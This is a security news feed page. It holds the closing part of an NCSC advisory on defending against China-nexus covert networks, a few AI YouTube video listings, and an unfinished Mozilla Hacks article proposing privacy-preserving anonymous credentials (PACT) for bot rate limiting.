<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
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<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
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<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
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<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
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<td>
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<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
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<p>Proxy: Multi-hop Proxy </p>
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<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
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</tbody>
</table>
</div>
</div>
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<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
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<title><![CDATA[10 Secret Bard Tips And Tricks (How To Use Google Bard)(Google Bard Tutorial)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 486x - Views:35021 How To Use Google Bard)(Google Bard Tutorial)

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your kno...]]></description>
<link>https://tsecurity.de/de/3693376/videos/10-secret-bard-tips-and-tricks-how-to-use-google-bardgoogle-bard-tutorial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693376/videos/10-secret-bard-tips-and-tricks-how-to-use-google-bardgoogle-bard-tutorial/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:25 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 486x - Views:35021 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/HwUt9ZRziBE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>How To Use Google Bard)(Google Bard Tutorial)<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br />
<br />
All Bard Features <br />
- Bard Can Make Charts - https://www.reddit.com/r/GoogleBard/comments/123s0yt/wow_google_bard_can_make_a_chart_bing_ai_used_to/<br />
- Bard makes very big mistakes https://twitter.com/0xgaut/status/1638287359098716160 <br />
- Bard Cannot Help With Coding - https://twitter.com/iamnafets/status/1638232186649477120/photo/1 <br />
- Bard Actually has access to recent events <br />
- Bard Cant Access Articles (Sometimes<br />
- Bard Can Rewrite content<br />
- Rewording Questions Helps https://www.reddit.com/r/GoogleBard/comments/11xoaw7/bard_can_actually_answer_code_questions_it_just/<br />
- Bard Can write stories<br />
- Bard is a confusing mix between ChatGPT + Bing<br />
- Bard does have shorter answers<br />
- Bard is quicker<br />
<br />
Was there anything we missed?<br />
<br />
(For Business Enquiries)  contact@theaigrid.com<br />
<br />
#LLM #Largelanguagemodel #chatgpt<br />
#AI<br />
#ArtificialIntelligence<br />
#MachineLearning<br />
#DeepLearning<br />
#NeuralNetworks<br />
#Robotics<br />
#DataScience<br />
#IntelligentSystems<br />
#Automation<br />
#TechInnovation<br/></p>]]></content:encoded>
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<title><![CDATA[Microsoft's VISUALChatGPT Takes the Industry By STORM! (NOW UNVEILED!)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 2436x - Views:330281 Microsoft Visual ChatGPT - https://github.com/microsoft/visual-chatgpt
Microsoft Visual ChatGPT - https://huggingface.co/spaces/microsoft/visual_chatgpt

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learnin...]]></description>
<link>https://tsecurity.de/de/3693374/videos/microsofts-visualchatgpt-takes-the-industry-by-storm-now-unveiled/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693374/videos/microsofts-visualchatgpt-takes-the-industry-by-storm-now-unveiled/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:22 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 2436x - Views:330281 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/7hztoCMVo0U?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Microsoft Visual ChatGPT - https://github.com/microsoft/visual-chatgpt<br />
Microsoft Visual ChatGPT - https://huggingface.co/spaces/microsoft/visual_chatgpt<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br />
<br />
Was there anything we missed?<br />
<br />
(For Business Enquiries)  contact@theaigrid.com<br />
<br />
#LLM #Largelanguagemodel #chatgpt<br />
#AI<br />
#ArtificialIntelligence<br />
#MachineLearning<br />
#DeepLearning<br />
#NeuralNetworks<br />
#Robotics<br />
#DataScience<br />
#IntelligentSystems<br />
#Automation<br />
#TechInnovation<br/></p>]]></content:encoded>
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<title><![CDATA[Get Ready for 15 SHOCKING Changes After the Singularity (AGI IS NEAR!)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 2476x - Views:151461 15 Jaw-Dropping Consequences of the Singularity (AGI IS CLOSER THAN YOU THINK!)

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and pe...]]></description>
<link>https://tsecurity.de/de/3693373/videos/get-ready-for-15-shocking-changes-after-the-singularity-agi-is-near/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693373/videos/get-ready-for-15-shocking-changes-after-the-singularity-agi-is-near/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:21 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 2476x - Views:151461 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/F95s2bLMNIY?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>15 Jaw-Dropping Consequences of the Singularity (AGI IS CLOSER THAN YOU THINK!)<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
